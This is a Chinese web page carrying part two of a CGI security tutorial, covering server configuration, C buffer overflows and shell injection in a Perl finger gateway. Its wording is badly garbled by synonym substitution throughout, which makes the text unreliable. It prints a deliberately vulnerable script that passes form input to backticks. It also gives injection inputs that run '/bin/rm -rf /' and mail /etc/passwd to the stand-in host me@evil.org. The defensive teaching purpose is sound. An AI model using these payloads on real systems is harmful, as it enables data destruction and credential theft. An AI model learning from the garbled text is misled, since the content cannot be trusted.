大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 技术开发 -> CGI专区 -> CGI的安全(二)

CGI的安全(二)

时间: 2021-07-31 作者:daque

 缺省情景下,底下的全部选项如许树立:    options indexes followsymlinks    当url指定的目次里没有要搜索的文献时,indexes承诺你指定一个文献。缺省情景下,这个变量为index.html,经过srm.conf中的directoryindex来指定,很适合咱们的企图。followsymlinks意指效劳器会归来标记贯穿指向的数据。我没看到这个个性的需要性,以是我遏止了它。此刻,这一条龙看上去象如许:    options indexes    即使我想在任何目次中使cgi步调灵验,我不妨经过包括execcgi选项来树立:    options indexes execcgi    这一条龙,贯串在srm.conf中的addtype训令,不妨承诺我经过在任何目次中给一切的cgi步调增添.cgi的扩充名来实行一个cgi。    缺省情景下ncsa httpd的摆设,经过在一个具备符合的属性和考察控制的一定目次中创造.htaccess文献使access.conf中的一切树立都不妨被胜过。在这种情景下,我不留心用户变换它们的考察控制。但是,我不想付与用户在她们本人的目次里实行cgi和.htaccess文献的本领。    addtype application/x-httpd-cgi .cgi    options indexes execcgi    所以,我编纂access.conf来承诺用户胜过除去选项外一切的树立:    allowoverride fileinfo authconfig limit    此刻,我的效劳器安定的摆设了。我只承诺在cgi-bin目次中运转cgi,而且使效劳器嵌入训令实足失效。效劳器以nobody用户运转,一个我的体例中不生存的用户。我遏止了一切我不须要的个性,而且用户不许胜过那些年特出的控制。想领会很多的其余的摆设消息,囊括精细的考察控制,请参照ncsa效劳器证明文献。  2.写出安定的cgi步调    假如你仍旧使的你的计划机和web效劳器很安定了,那么你反面就该当学会还好吗写出一个安定性很好的cgi步调。编写安定的cgi的规则和前方提到的一致:  a.你的步调只能实行你指定的功效。  b.不要给存户特殊的它不须要领会的消息。  c.不要断定存户给你精确的消息。    对于第一条大概生存的安定心腹之患我在guestbook的例子中仍旧说领会。我提到了几个不妨揭穿缺点的罕见的缺点,然而,你同样该当记取:你该当商量你所运用的每一个因变量的一切含意。    第二条是普遍安定性规则的大略扩充:体例除外的人对你的体例领会的越少,你的体例就越没有大概被攻破。    结果一条规则不过一条很好的很要害的编制程序规则,但同样也是安定性很好的一个。cgi步调该当是安定真实、兴盛的。一个hacker大概做的第一件事是想尽十足方法经过在你的cgi步调中连接安排输出来搞乱步调,从而到达攻入计划机的手段。即使你的步调并不兴盛,那么这时候,它大概会解体,大概会实行其它的功效(固然那些功效是你不承诺的)。这两种大概性都是令人烦恼的。为了根绝这种大概性,不要对你的存户大概发送的消息方法或值作任何的假设。    大普遍cgi步调的实质是大略的输出/输入步调。它索取存户端的证明并归来 少许相应。这种步调简直没有危害(固然也会展示缺点,反面你会看到)。由于cgi步调并不对输出感爱好,没有什么缺点大概爆发。但是,一旦你的步调运用输出启用,大概回挪用其余的步调,写文献,大概做少许功效更宏大的而非大略归来输入的工作,那么你就会冒引入安定缺点的危害。常常,功效是径直和安定危害成比率的。  2-1.谈话的危害性    各别的谈话有其与生俱来的安定危害。任何谈话都不妨编写安定的cgi步调,然而你必需提防每个谈话的怪僻(急转)。这边,我只计划c和perl,然而它们的有些个性并不实用于其它谈话。想获得其余谈话的指定消息,请参照符合的文献。    在前方的章节咱们学好,普遍来说,编写翻译cgi步调比证明剧本更可取。编写翻译步调有两个上风:开始,你不须要有效劳器可领会的证明器;其次,步调的源文献是不行考察的。提防,像perl一律的保守的证明型谈话不妨被编写翻译成二进制情势。(对于怎样在perl中实行,请参见larry warandall schwartz 的《perl编制程序》)从安定态度来说,编写翻译的perl步调和编写翻译的c步调一律好用。    像c如许比拟初级的谈话会展示被称为buffer overflow的题目。c谈话并没有处置字符串的好的内置的本领。常常的本领大概是证明一个字符数组大概指向字符的南针。很多人目标于前一种本领,由于它编制程序比拟大略。推敲一下底下两个功效等价的步调代码。  步调1. 在c谈话中运用数组设置字符串.  #include  #include  #define message "hello, world!"  int main()  {    char buffer[80];    strcpy(buffer,message);    printf("%s\n",buffer);    return 0;  }  步调2. 在c谈话中运用南针设置字符串.  #include  #include  #include  #define message "hello, world!"  int main()  {    char *buffer = malloc(sizeof(char) * (strlen(message) + 1));    strcpy(buffer,message);    printf("%s\n",buffer);    return 0;  }    步调1比步调2大略得多,并且在这个一定的例子里,两者都不妨很好的处事。咱们假如有如许一个例子:我仍旧领会了我处置的字符串的长度,所以,我不妨设置一个符合的数组长度。然而,在cgi步调里,你不领会输出的字符串会有多长。举个例子,即使消息的长度大于80 char,那么步调1会解体(即咱们常常说的"溢出")。    这被称为buffer overflow,聪慧的hacker就会运用这个来长途实行吩咐。这个缓冲溢出的bug生存于ncsa httpd v1.3中。这是干什么一个搜集(或cgi)步调员须要更经心地编制程序的很好的例子。在一个单用户的呆板里,缓冲溢出只能形成体例解体。在解体的单用户计划机中没有需要运用缓冲溢出来执路途序,由于大约你仍旧实行了你须要的任何步调(除去大众结尾)。但是,在搜集体例中,一个解体的cgi步调远不是这么大略,它会变成一经受权的用户加入的方便之门。    步调第22中学的代码处置了两个题目。开始,它动静的调配了保存字符串的充满的空间。其次,提防我将消息的长度加了1。如许,我本质上调配了比字符串长度多1字节的外存。这就保护字符串不会是0。由于目的字符老是会为特殊的字符留有空间,strcpy()因变量在目的字符串的结果增添了空字符,strcpy()安置了空字符。没有来由觉得传递给cgi剧本的字符串会是空字符,所以,为了以防万一,我在结果留了1字节的空间。    假如你的c步调制止了像缓冲溢出如许的题目,那么你就不妨写出安定的cgi步调。但是,这是劳累的处事,更加是当你的cgi很大更搀杂的功夫。那些题目将唆使你耗费比普遍的cgi工作更多的功夫来推敲初级谈话的安排处事。鉴于这个因为,你大概更爱好高档一点的编制程序谈话(如perl)。    但是,具备高档特性的perl有着轻率的部分。纵然你能假如perl会精确地处置字符串的保存,但当perl运用你并不提防的高档一点的语法做少许工作时,很大概会有伤害。鄙人一节中你会更领会的领会到。  2-2.shell伤害性    很多的cgi工作都不妨运用其余的步调很简单的实行。比方,你要写一个cgi的邮件网关,实足运用cgi步调来实行实行邮件的发送代劳是很笨拙的动作。更适用的本领是将数据经过弹道传递到一个生存的邮件传递代劳步调,比方sendmail,而后让sendmail来实行剩下的处事。这种风气很好并犯得着激动。    安定危害依附于你还好吗挪用那些外部的步调。实行这项处事在perl和c中有很多因变量不妨实行。它们中很多因变量经过挪用shell,而后让shell来实行这个吩咐。那些吩咐被列在表第11中学,即使你运用了它们中的一个,那么你就使得unix hells在报复下显得很薄弱。    表1. c和perl中不妨挪用shell的因变量.    perl 因变量 c 因变量    system(’...’) system()    open(’| ...’) popen()    exec(’...’)    eval(’...’)   `...`    干什么shell很伤害呢?有很多的非数字的字符不妨经过shell变换成特出的字符。那些字符被称为元字符(翻译注:这边我将metacharacter译为元字符),见表2。  表2. shell metacharacters.  ; < > * | ` & $  ! # ( ) [ ] : {  } ’ "    每一个这种字符在shell中都起着特出的效率。比方,假设你想运用finger来查问一台计划机并将截止保存到一个文献中,你不妨在吩咐行中如次输出:    finger @fake.machine.org > results    这会运用finger查问长机fake.machine.org并将查问截止生存到一个文正文 件results中。这个>字符在这边是一个重定向符。即使你要本质地运用>字符——比方,你想将它回显到屏幕上——你将须要在这个字符前加一个反斜杠。举个例子,底下将向屏幕输入一个标记>:    echo \>    这被称为转义字符(escaping or sanitizing the character string)。    hacker是还好吗运用这个动作他(她)的上风的?查看以次步调3顶用perl编写的finger步调。这个步调所做的是承诺用户查问一个用户和一台长机的精细消息,而且,这个cgi不妨查问用户并表露截止。 [page_break]步调3. finger.cgi.  #!/usr/local/bin/perl  # finger.cgi - an unsafe finger gateway  require ’cgi-lib.pl’;  print &printheader;  if (&readparse(*in)) {    print "\n";    print `/usr/bin/finger $in`;    print "\n";  }  else {    print " \n";    print "\n";    print "\n\n";    print "finger gateway\n";    print "\n";    print "user@host: \n";    print "\n";    print "\n";    print " \n";  }    乍一看,这个步调好象没有什么坏处。由于是用perl编写的,不会有bufferoverflow的伤害。我运用了finger的实足路途,如许gateway不会被臆造的finger步调所捉弄。即使输出是一个不对适的方法,那么gateway将归来一个缺点而不会被人运用。    然而,即使我试验如次的输出会还好吗呢(如图1所示)    nobody@nowhere.org;/bin/rm -rf /    finger gateway   ___________________________________  user@host: |nobody@nowhere.org ; /bin/rm -rf / |   -----------------------------------  ______________  | submit query |  --------------    (图1)  (翻译注:原图是一个欣赏器,我仅画出html页中的局部。)    咱们来看一下底下的步调行会怎样处置如许的输出:       print `/usr/bin/finger $in`    因为你运用了向后的标志,开始它会实行一个shell。而后它将实行如次的吩咐:  /usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /    这将会还好吗呢?假如在吩咐行像如许输出。它会简略一切的文献和目次,从root的目次发端。咱们须要sanitize这个输出来render the semicolon(;)metacharacter harmless.在perl中,运用表4中的因变量不妨很简单的实行。(c中的那些等价因变量在表第5中学;它们来自cgihtml的c库。)  步调4. perl中的escape_input().  sub escape_input {    @_ =~ s/([;\*\|`&\$!?#\(\)\[\]\:’"\\])/\\$1/g;    return @_;  }  步调5. c谈话中的escape_input().  char *escape_input(char *str)  /* takes string and escapes all metacharacters.should be used before   including string in system() or similar call. */  {    int i,j = 0;    char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));    for (i = 0; i   printf("i = %d; j = %d\n",i,j);    switch (str[i]) {    case ’|’: case ’&’: case ’;’: case ’(’: case ’)’: case ’  case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’:    case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’:    case ’`’: case ’{’: case ’}’:    new[j] = ’\\’;    j++;    break;    default:    break;    }    new[j] = str[i];    j++;    }    new[j] = ’\n’;    return new;  }    这将归来一个带有伴随在\后的shell转义字符的字符串。这个矫正的finger.cgi网关在步调6中。  步调6. 一个安定的finger.cgi.  #!/usr/local/bin/perl  # finger.cgi - an safe finger gateway  require ’cgi-lib.pl’;  sub escape_input {    @_ =~ s/([;\*\|`&\$!#\(\)\[\]\:’"])/\\$1/g;    return @_;  }  print &printheader;  if (&readparse(*in)) {    print "\n";    print `/usr/bin/finger &escape_input($in)`;    print "\n";  }  else {    print " \n";    print "\n";    print "\n\n";    print "finger gateway\n";    print "\n";    print "user@host: \n";    print "\n";    print "\n";    print " \n";  }    这次,即使你运用前述沟通的输出,将派生出一个shell,它将试验如许执  行:    /usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /    如许,谁人歹意的计划将没辙奏效.它不复试图简略体例中一切的目次,而是试验finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。因为反面的字符拉拢偶然是你的体例中的用户,所以大概会归来一个缺点。    记取几个题目。开始,即使你的web效劳器精确的摆设了(比方,以非root 身份运转),那么,简略文献体例中的一切实质的计划不会胜利。(即使效劳器以root身份运转,那么潜伏的妨害将是不行估计的。万万不要如许做!)其余,用户还假设rm吩咐在/bin目次中。他或她假设了rm在这个路途中。但是,所那些不过对大普遍的unix体例的达观的假如,并不是实足实用的。在一个hrooted体例情况中,这个目次中并没有rm吩咐。那么hacker的全力将是白费的。从表面上说,经过安定提防和精确摆设你的web效劳器,你不妨将潜伏的妨害贬低到简直为0,纵然是抄写了蹩脚的剧本。    但是,你没有来由在编写cgi步调时不妨漫不经心。究竟上,大普遍的web情况并不是chrooted的,只是是由于它遏止了很多人须要在web效劳器中须要的精巧性。纵然效劳器不是以root身份运转,用户不许将文献体例中的文献十足简略,少许人不妨只是经过如次的输出,将/etc/passwd文献寄给me@evil.org动作大概的报复道路:    nobody@nowhere.org ; /bin/mail me@evil.org   我不妨经过安排这个缺点来干很多工作,纵然是在一个摆设杰出的情况中。即使你在一个大略的cgi步调中承诺一个缺点从你的身边溜过,你如何能确定你精确并安定的摆设了你搀杂的unix体例和web效劳器?    谜底是你不许。你最佳赌钱弄领会你的cgi步调是安定的。在shell中运转它之前不简单接收输出是很简单周旋的工作,它仍旧cgi编制程序中最罕见的题目之一。    倒霉的是,perl具有一个捕获潜伏熏染的变量的很好的体制。即使你运用taintperl而不是perl(大概perl -t,即使你运用perl 5),剧本将在潜伏熏染的变量传播给shell吩咐处遏止。这将扶助你在发端本质运用cgi步调时捕获到一切的潜伏熏染的变量的例子。    提防到perl具有比c更多的派生shell的因变量。这并不是不言而喻的,纵然是对于中级的perl步调员,在执路途序前向后标志派生出一个shell。这是高档谈话的危害决定;由于你不是很精确地领会它做什么,以是你并不领会一个因变量会爆发还好吗的安定缺点。    即使你制止了运用挪用shell的因变量,那么你不须要简略敏锐的输出。在perl 谈话中,你不妨经过运用system()大概exec()因变量来封装每一个参数。比方, 如次的挪用很安定的$input:    system("/usr/ucb/finger",$input);    但是,在你的finger gateway的情景下,这个特性是毫无用途的,由于你要处置finger吩咐的输入,这个,除去你运用system因变量外没有本领不妨捕捉。    在c谈话中,你也不妨经过运用exec一类的因变量来径直执路途序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在c谈话平淡价于perl中的 system()因变量。你运用哪一个exec因变量以及怎样使之按你的须要实行:那些详细仍旧胜过了该书的范畴。  3.安定处置    我前方扼要计划的不过安定题目的一个上面。此刻时髦的cgi运用步调目标于 搜集断定卡消息。数据搜集是cgi运用步调的一个大略的工作,然而敏锐消息的搜集须要一个将消息从欣赏器传递给效劳器和cgi步调的安定道路。    举个例子,假如我要经过internet来出卖书。我大概在欣赏器上创造一个表单,承诺要购书的主顾经过表单提交它的部分消息和断定卡号子。遭到那些消息后,我会将它们保存到我的计划机动作贸易记载。    即使有人侵占我的贸易计划机,那么他大概会考察寄存主顾消息和断定卡号子的神秘数据。为了制止这种情景,我会查看我的计划机摆设安定了,并决定用来接收表单的cgi剧本不会被歹意的安排。换句话说,我,动作计划机的体例处置员和cgi步调员,要全力遏制住第一个题目:提防消息径直从我的计划机中被夺取。    但是,还好吗提防当消息由存户端发往效劳器进程中有人半途夺取呢?记取消息还好吗由web效劳器传递到cgi步调了吗?消息经过搜集由欣赏器先传递到效劳器,而后效劳器将消息传递给cgi步调。那些消息大概在由存户机传递到效劳器时被半途夺取(如图2)。提防,为了养护消息使其不会被半途夺取,必需在存户和效劳器之间举行加密。固然,即使你的存户机不许辨别的话,你不许实行一定cgi的加密。  _______________ ______________  |欣赏器 | 表单输出||  |(用户提交表单; |—————————————>||  |欣赏器将其以通 ||常文本发送出去)|领会cgi输入||  --------------- | | --------------   | | 表 || /\cgi   不怀好心的hacker单 || ||输   输 || ||出   入 || ||    \/ ||    _____________   | |   | cgi |   | |    -------------    (图2)  more: java,cgi和安定处置    因为web处置的特性,运用你独占的独立经过cgi步调实行的安定处置和议的独一道路是:在表单消息经过欣赏器传递到效劳器之前将其加密。这个计划如图3。  _______________ ______________  |欣赏器 | 加密表单输出||  | 用户提交表单; |—————————————>||  |欣赏器将输出加 ||密,发送加密消息|领会cgi输入||  --------------- | | --------------   | | 加 || /\cgi    遏止 补缀密 || ||输    歹意 再次输 || ||出   hacker遏止入 || ||(解密)    \/ ||    _____________   | cgi |   |解密处置输出,|   |发出相应。 |    -------------   (图3)    之前,兴盛你本人的安定处置和议简直是不大概的。感动java如许的谈话,迩来在存户端处置所作的革新,使得这个兴盛形成大概。    本领是爆发一个规范html方法扩充的java接口。当java的提交按钮被采用时,java applet会在运用规范的post http乞求将它发送给web效劳器前先将值加密  (参照图4)   web欣赏器  _______________ ______________  |java applet| 加密数据||  | 表单;用户提交 |—————————————>||  |数据,applet加密||数据,发给效劳器|cgi输入||  --------------- --------------   加 || /\cgi   密 || ||输   数 || ||出   据 || ||    \/ ||    ________________   | cgi|   |运用与applet沟通|   |计划解密数据并处|   |理,发出解密相应.|    ----------------    (图4)    运用java动作存户机来发送和接受加密的数据将承诺你运用本人定制的加密计划,而不须要一个高贵的贸易效劳器。    所以,在搜集上安定窃密地传递数据消息须要安排欣赏器和效劳器之间的通讯路途,有少许是不许只是靠cgi就不妨遏制的。暂时有两种加密存户机/效劳器消息处置的倡导:ssl(secure sockets layer)和shttp(secure http),辨别由netscape和eit(enterprise integrations technology)倡导。对于这点,暂时还不领会哪一个将变成规范;很多公司在她们的效劳器中两种都沿用了。所以,领会怎样在这两者中编写cgi步调是很有效的。  3 -1.ssl    ssl是一个和议独力的加密计划,在搜集消息包的运用层和传输层之间供给了安定的通道(参照图5)。大略说来,即是html或cgi过程了幕后的  效劳器举行了加密处置,但是对html和cgi的作家来说是通明的。  ___________________________________  |欣赏器| 传输层加密数据|效劳器|  |(发出规范的http |—————————————>|(解密数据;证明成规范|  |乞求) |---------------- 传输层加密数据--------------------   (图5)    由于存户端和效劳器端搜集步调处置加密进程,简直你的一切的cgi剧本不须要举行安定工作的矫正。有一个明显的不同。一个nph(no-parse-header)的cgi步调绕过效劳器而径直与存户端举行通讯。所以,nph的cgi剧本不会过程加密处置,由于消息未获得加密。受此感化的一个犯得着提防的cgi运用步调是netscape效劳器激动的动静实行(netscape server-push animations)。我质疑这是重要该当犯得着提防的,但是,更有大概由于要安定的传输敏锐消息而丧失页面中的动画。  3-2.shttp    shttp沿用一种和ssl各别的本领。它经过扩充http和议(运用层)来运作,优于一个较低层。所以,纵然ssl不妨运用于一切的搜集效劳,但是shttp是一个一定的web和议。    其余,再有其它的便宜。动作http的扩充集,shttp全兼容于http和shttp的欣赏器和效劳器。为了运用ssl,你必需有一个扶助ssl的欣赏器和效劳器。其余,shttp是一个更精巧的和议。比方,这个效劳器不妨指定首要选择的加密计划。    shttp处置依附于附加的http头。所以,即使你想让你的cgi步调沿用shttp的加密处置,你须要包括符合的头。比方,替代大略归来http头。    content-type:text/html    当一个shttp效劳器从cgi运用步调中收到这个消息,它会领会在将其发送给欣赏器之前将消息加密。一个非shttp的欣赏器将忽视附加的头。    对于运用shttp的更多的消息,请参照shttp的证明书:  http://www.commerce.net/information/standards/drafts/shttp.txt  4.大纲    安定是你在处置搜集运用步调(比方www)中不行制止的一件事。即使你的web效劳器没有安定的摆设,那么编写安定的cgi运用步调就不利害常有效的了。一个精确摆设的web效劳器,从另一上面讲,不妨最小控制的缩小由于蹩脚的cgi剧本而带来的妨碍。    大概上,咱们该当记取底下的规则:  a.你的步调该当只能供给你指定的效劳。  b.不到需要的功夫不表露任何相关你的效劳器的消息。  c.即使有人胜利的闯入你的体例,应最小控制的缩小妨碍。  d.决定你的运用步调是安定真实而且精细的。    当你编写cgi步调时,要更加提防你的编制程序谈话的控制性(或不及)以及传播给shell的不决定的变量。 

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.